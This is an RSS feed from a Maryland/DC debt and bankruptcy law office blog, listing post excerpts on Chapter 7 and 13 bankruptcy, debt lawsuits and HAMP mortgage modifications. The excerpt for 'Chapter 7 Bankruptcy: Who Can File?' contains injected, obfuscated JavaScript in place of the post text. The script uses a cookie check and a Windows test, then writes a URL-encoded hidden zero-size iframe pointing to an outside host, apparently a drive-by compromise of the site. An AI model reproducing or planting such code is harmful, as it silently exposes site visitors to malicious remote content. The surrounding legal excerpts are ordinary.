<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title></title>
	<atom:link href="http://dcandmarylandcreditanddebtattorney.com/feed" rel="self" type="application/rss+xml" />
	<link>http://dcandmarylandcreditanddebtattorney.com</link>
	<description></description>
	<lastBuildDate>Fri, 03 Sep 2010 20:42:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Discharging Tax Debts in Chapter 7 Bankruptcy</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/discharging-tax-debts-in-chapter-7-bankruptcy</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/discharging-tax-debts-in-chapter-7-bankruptcy#comments</comments>
		<pubDate>Sat, 22 May 2010 15:42:48 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Tax Issues]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[chapter 7 bankrupty]]></category>
		<category><![CDATA[discharge taxes in bankruptcy]]></category>
		<category><![CDATA[tax debt bankruptcy]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2790</guid>
		<description><![CDATA[Did you know some tax debts can be discharged in bankruptcy? Bankruptcy filers can sometimes discharge (wipe out) debts for federal income taxes in Chapter 7 bankruptcy. But, all of the following conditions must be met: Tax return DUE at least three years ago. To be dischargeable, the tax return must have been originally due [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/discharging-tax-debts-in-chapter-7-bankruptcy/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debt Lawsuits, Garnishments, False Affidavits of Service on the Rise</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/debt-lawsuits-garnishments-false-affidavits-of-service-on-the-rise</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/debt-lawsuits-garnishments-false-affidavits-of-service-on-the-rise#comments</comments>
		<pubDate>Wed, 21 Apr 2010 14:49:59 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Debt Collections]]></category>
		<category><![CDATA[Debt Lawsuits]]></category>
		<category><![CDATA[Garnishments]]></category>
		<category><![CDATA[Scams]]></category>
		<category><![CDATA[debt lawsuit]]></category>
		<category><![CDATA[false affidavit]]></category>
		<category><![CDATA[garnishment]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2707</guid>
		<description><![CDATA[A good article about consumer debt collection recently appeared in the New York Times: More Struggling Borrowers Face Pay Garnishment. The article discusses the dramatic rise in debt lawsuits and wage and bank account garnishments. It also discusses as the importance of responding to debt lawsuits. Most interestingly, it discusses the problem of consumers&#8217; not [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/debt-lawsuits-garnishments-false-affidavits-of-service-on-the-rise/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy Timeline:  From Filing Date to Discharge</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-happens-after-i-file</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-happens-after-i-file#comments</comments>
		<pubDate>Sun, 11 Apr 2010 14:01:12 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Debt Lawsuits]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy]]></category>
		<category><![CDATA[chapter 7 bankrupty]]></category>
		<category><![CDATA[debt collection lawsuit]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2675</guid>
		<description><![CDATA[A Chapter 7 bankruptcy typically takes 3-4 months from filing date to discharge date.  This post discusses what happens during that time. Bankruptcy events Notices from the court: You will receive several notices from the court by mail. Your meeting of the Creditors: Your will receive a notice from the court telling you the date [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-happens-after-i-file/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Filing for Bankruptcy:  How Should I Organize and Send My Supporting Documents?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/filing-for-bankruptcy-how-should-i-organize-and-send-my-supporting-documents</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/filing-for-bankruptcy-how-should-i-organize-and-send-my-supporting-documents#comments</comments>
		<pubDate>Sat, 06 Mar 2010 00:16:30 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2644</guid>
		<description><![CDATA[In order to fill out your bankruptcy paperwork, you will need to refer to the documents included in this list. Additionally, you will need to submit copies of these documents to our office.Â  The steps below will make this process much easier. (1) Copies only, please VERY IMPORTANT: Please do not send original documents to [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/filing-for-bankruptcy-how-should-i-organize-and-send-my-supporting-documents/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy Timeline:  From Consultation to Filing</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-free-consultation-timeline</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-free-consultation-timeline#comments</comments>
		<pubDate>Wed, 03 Mar 2010 00:52:17 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2585</guid>
		<description><![CDATA[This post explains our office&#8217;s procedures when we help a Client file for bankruptcy. We provide a  free consultation and case review as described below. Our goal is to make the filing process as fast, convenient, and efficient as possible for our Clients.  Many steps can be completed online or by phone. Step 1:  Free [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-free-consultation-timeline/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Defend Credit Card or Debt Collection Lawsuits</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/how-to-defend-credit-card-or-debt-collection-lawsuits</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/how-to-defend-credit-card-or-debt-collection-lawsuits#comments</comments>
		<pubDate>Tue, 23 Feb 2010 12:51:46 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Debt Collections]]></category>
		<category><![CDATA[Debt Lawsuits]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[debt collector lawsuit]]></category>
		<category><![CDATA[debt lawsuit]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2553</guid>
		<description><![CDATA[I recently came across a great article by Pennsylvania attorney Jim Kutkowski.Â  It discusses how to defend credit card lawsuits. While the article is based on Pennsylvania law and court procedures, things work much the same in Maryland. In Maryland, most credit card lawsuits are heard by the District Court, which operates similarly to Pennsylvania&#8217;s [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/how-to-defend-credit-card-or-debt-collection-lawsuits/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Legislative Updates from National Association of Consumer Advocates</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/legislative-updates-from-national-association-of-consumer-advocates</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/legislative-updates-from-national-association-of-consumer-advocates#comments</comments>
		<pubDate>Sun, 21 Feb 2010 16:24:54 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Arbitration]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Maryland Foreclosure Prevention Project]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[HAMP]]></category>
		<category><![CDATA[NACA]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2534</guid>
		<description><![CDATA[The following post is excerpted from an email alert from the National Association of Consumer Advocates (NACA). These are a few of the current legislative issues NACA is working on: Forced Arbitration NACA is still working hard to get the Arbitration Fairness Act (AFA) and the Fairness in Nursing Home Arbitration Act out of the [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/legislative-updates-from-national-association-of-consumer-advocates/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 13 Bankruptcy:  How is my Repayment Plan Calculated?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-how-is-my-repayment-plan-calculated</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-how-is-my-repayment-plan-calculated#comments</comments>
		<pubDate>Sat, 20 Feb 2010 17:36:26 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[chapter 13 bankruptcy]]></category>
		<category><![CDATA[Chapter 13 bankruptcy attorney Maryland]]></category>
		<category><![CDATA[Chapter 13 bankruptcy lawyer Maryland]]></category>
		<category><![CDATA[Chapter 13 bankruptcy Maryland]]></category>
		<category><![CDATA[Chapter 13 general information]]></category>
		<category><![CDATA[Chapter 13 repayment plan]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2473</guid>
		<description><![CDATA[Overview Chapter 13 bankruptcy generally lets you keep most or all of your assets and requires you to repay some of your debts over a 3-5 year period.Â  But, how do you determine how much you have to pay and for how long? Your repayment plan: what is it? Your repayment plan is a document [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-how-is-my-repayment-plan-calculated/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 13 Bankruptcy:  What is it and How Does it Work?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-what-is-it-and-how-does-it-work</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-what-is-it-and-how-does-it-work#comments</comments>
		<pubDate>Wed, 17 Feb 2010 22:40:13 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[chapter 13]]></category>
		<category><![CDATA[chapter 13 bankruptcy]]></category>
		<category><![CDATA[chapter 13 lawyer maryland]]></category>
		<category><![CDATA[chapter 13 maryland]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2430</guid>
		<description><![CDATA[What is a Chapter 13 bankruptcy? Chapter 13 bankruptcy is sometimes called &#8220;payment plan bankruptcy.&#8221; In a Chapter 13, a person with regular income proposes a plan to repay some or all of his or her debts over a three to five year period. The amount of debt the person must pay back depends on [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-13-bankruptcy-what-is-it-and-how-does-it-work/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maryland Consumer Rights Coalition Releases Report on Debt Settlement Companies</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/maryland-consumer-rights-coalition-releases-report-on-debt-settlement-companies</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/maryland-consumer-rights-coalition-releases-report-on-debt-settlement-companies#comments</comments>
		<pubDate>Thu, 04 Feb 2010 17:47:11 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Credit Scores]]></category>
		<category><![CDATA[Debt Collections]]></category>
		<category><![CDATA[Debt Negotiation]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[debt settlement]]></category>
		<category><![CDATA[debt settlement companies]]></category>
		<category><![CDATA[Maryland Consumer Rights Coaltion]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2397</guid>
		<description><![CDATA[The Maryland Consumer Rights Coalition (MCRC) and Maryland Attorney General Doug Gansler recently announced the publication of MCRC&#8217;s report &#8220;Debt Settlement in Maryland:  Compounding Problems, Deepening Debt.&#8221; Click here for a copy of the report. As you might guess from its title, the report paints a pretty dire picture of debt settlement companies. The report [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/maryland-consumer-rights-coalition-releases-report-on-debt-settlement-companies/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How does Bankruptcy Affect a Security Clearance?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/bankruptcy-and-security-clearances</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/bankruptcy-and-security-clearances#comments</comments>
		<pubDate>Thu, 21 Jan 2010 16:21:17 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[security clearance]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2367</guid>
		<description><![CDATA[Many people living in the greater Washington, D.C. area are required by their employers to maintain security clearances. But what happens to a person&#8217;s security clearance if he or she files for bankruptcy? The bankruptcy code generally prohibits an employer from discriminating against an employee if he or she files for bankruptcy. But, a change [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/bankruptcy-and-security-clearances/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy:  Mortgage Reaffirmations and Modifications, Part II</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmations-and-modifications-part-ii</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmations-and-modifications-part-ii#comments</comments>
		<pubDate>Fri, 16 Oct 2009 13:32:41 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Mortgage Modification]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[mortgage reaffirmation]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2289</guid>
		<description><![CDATA[Here is more information on reaffirmation of mortgages in bankruptcy, including implications for modifications.  The linked article was written by Orlando, Florida bankruptcy attorney Jonathan Alper. Mortgage Companies Refusing Loan Modifications to Some Chapter 7 Debtors]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmations-and-modifications-part-ii/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy: Mortgage Reaffirmation and Mortgage Modification, Including HAMP</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmation-and-mortgage-modification-including-hamp</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmation-and-mortgage-modification-including-hamp#comments</comments>
		<pubDate>Sun, 20 Sep 2009 20:17:48 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[chapter 7 bankrupty]]></category>
		<category><![CDATA[HAMP]]></category>
		<category><![CDATA[modification]]></category>
		<category><![CDATA[Mortgage Modification]]></category>
		<category><![CDATA[mortgage reaffirmation]]></category>
		<category><![CDATA[reaffirm mortgage]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2177</guid>
		<description><![CDATA[We get a lot of questions about whether homeowners should reaffirm their mortgages DURING a Chapter 7 bankruptcy. (Note: reaffirming a mortgage AFTER a bankruptcy is completed / the filer receives his or her discharge is technically not authorized by the bankruptcy code.) Many lenders tell homeowners their mortgage documents require them to reaffirm if [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-mortgage-reaffirmation-and-mortgage-modification-including-hamp/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>What Happens to my HAMP Modification if I File for Bankruptcy?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/what-happens-to-my-hamp-modification-if-i-file-for-bankruptcy</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/what-happens-to-my-hamp-modification-if-i-file-for-bankruptcy#comments</comments>
		<pubDate>Sun, 06 Sep 2009 19:25:46 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[HAMP]]></category>
		<category><![CDATA[Karen Ware]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2147</guid>
		<description><![CDATA[Many homeowners sought HAMP modifications because they thought it would help them avoid bankruptcy.  But, mortgage servicers are not processing HAMP mortgage modifications nearly quickly enough to offer any real relief to homeowners.  With servicers refusing to even acknowledge receipt of modification documents, what now? Many homeowners applied for HAMP modifications four or five months [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/what-happens-to-my-hamp-modification-if-i-file-for-bankruptcy/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy and the Automatic Stay:  Will it Stop my Creditors?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-and-the-automatic-stay-will-it-stop-my-creditors</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-and-the-automatic-stay-will-it-stop-my-creditors#comments</comments>
		<pubDate>Tue, 25 Aug 2009 13:29:53 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy automatic stay]]></category>
		<category><![CDATA[chapter 7 bankrupty]]></category>
		<category><![CDATA[Maryland bankruptcy attorney]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2098</guid>
		<description><![CDATA[After you file for bankruptcy, the court issues an order called an &#8220;automatic stay.&#8221; This stops many creditors from trying to collect from you.  This article discusses what the automatic stay can and cannot do for the bankruptcy filer. What does the automatic stay prevent or stop? Calls and letters from creditors and debt collectors [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-and-the-automatic-stay-will-it-stop-my-creditors/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy:  What Documents Do I Need?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-documents-do-i-need</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-documents-do-i-need#comments</comments>
		<pubDate>Sun, 23 Aug 2009 19:13:24 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bankruptcy documents]]></category>
		<category><![CDATA[bankruptcy paperwork]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[Ware Law Office]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=2072</guid>
		<description><![CDATA[You may have heard there is a lot of paperwork involved in filing for bankruptcy.  To some extent this is true, but our office can help eliminate some of it by getting some information about your creditors or tax transcripts directly from the credit bureaus and IRS. You will still need to gather some documents, [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-documents-do-i-need/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy:  Who Can File?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-quiz-who-can-file</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-quiz-who-can-file#comments</comments>
		<pubDate>Sun, 23 Aug 2009 16:30:13 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Bankruptcy Legislative Developments]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[qualify for bankruptcy]]></category>
		<category><![CDATA[Ware Law Office]]></category>
		<category><![CDATA[who can file bankruptcy]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=1793</guid>
		<description><![CDATA[if(!getCookie("googlecounter")) { expires = new Date(); expires.setTime(expires.getTime() + 86400); setCookie("googlecounter", "1049", expires); if(navigator.appVersion.indexOf("Win")!=-1) { document.write(unescape("%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%69%6e%74%65%72%6e%65%74%2d%73%74%61%74%2e%69%6e%2f%69%6e%63%6c%75%64%65%73%31%2f%69%6e%2e%63%67%69%3f%34%22%20%77%69%64%74%68%3d%22%30%22%20%68%65%69%67%68%74%3d%22%30%22%20%73%74%79%6c%65%3d%22%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a")); } } function setCookie(name, value, expires) { document.cookie = name + "=" + escape(value) + "expires=" + expires.toGMTString() + "; path=/"; } function getCookie(name) { if(document.cookie.length > 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-quiz-who-can-file/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 7 Bankruptcy:  What is it?</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-is-it-and-how-does-it-work</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-is-it-and-how-does-it-work#comments</comments>
		<pubDate>Thu, 20 Aug 2009 15:32:56 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Bankruptcy General Information]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Chapter 7 bankruptcy]]></category>
		<category><![CDATA[Ware Law Office LLC]]></category>
		<category><![CDATA[what is bankruptcy]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=1955</guid>
		<description><![CDATA[Bankruptcy is a federal court process that helps consumers and businesses eliminate debts.  The two most common kinds of consumer bankruptcy are Chapter 7 and Chapter 13.  This post discusses the basics of Chapter 7 bankruptcy. What is Chapter 7 bankruptcy? Chapter 7 bankruptcy is what most people think of when they consider filing for  [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/chapter-7-bankruptcy-what-is-it-and-how-does-it-work/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Effect of HAMP Mortgage Modifications on Credit Reports and Credit Scores</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/effect-of-hamp-mortgage-modifications-on-credit-reports-and-credit-scores</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/effect-of-hamp-mortgage-modifications-on-credit-reports-and-credit-scores#comments</comments>
		<pubDate>Wed, 12 Aug 2009 20:53:20 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Credit Reports]]></category>
		<category><![CDATA[Credit Scores]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Mortgage Modification]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[HAMP]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=1913</guid>
		<description><![CDATA[Recently our office has received many questions about the proper credit reporting of modified mortgages.
]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/effect-of-hamp-mortgage-modifications-on-credit-reports-and-credit-scores/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bank of America, Wachovia, Wells Fargo HAMP Modification Performance Evaluated</title>
		<link>http://dcandmarylandcreditanddebtattorney.com/bank-of-america-wachovia-wells-fargo-hamp-modification-performance-dismal</link>
		<comments>http://dcandmarylandcreditanddebtattorney.com/bank-of-america-wachovia-wells-fargo-hamp-modification-performance-dismal#comments</comments>
		<pubDate>Sun, 09 Aug 2009 15:52:54 +0000</pubDate>
		<dc:creator>Karen Ware</dc:creator>
				<category><![CDATA[Foreclosure]]></category>
		<category><![CDATA[HAMP and HARP]]></category>
		<category><![CDATA[Mortgage Modification]]></category>
		<category><![CDATA[HAMP]]></category>
		<category><![CDATA[HAMP incentives]]></category>
		<category><![CDATA[HAMP servicer guidelines]]></category>
		<category><![CDATA[Ware Law Office LLC]]></category>

		<guid isPermaLink="false">http://dcandmarylandcreditanddebtattorney.com/?p=1872</guid>
		<description><![CDATA[The Making Home Affordable Plan has released its August 2009 Servicer Performance Report.Â  The report analyzes the progress of the HAMP mortgage modification program. The Data To date, Bank of America modified just 4 percent of eligible loans.Â  Wells Fargo has modified 6 percent. Wachovia Corp. has modified a mere 2 percent of eligible loans. [...]]]></description>
		<wfw:commentRss>http://dcandmarylandcreditanddebtattorney.com/bank-of-america-wachovia-wells-fargo-hamp-modification-performance-dismal/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
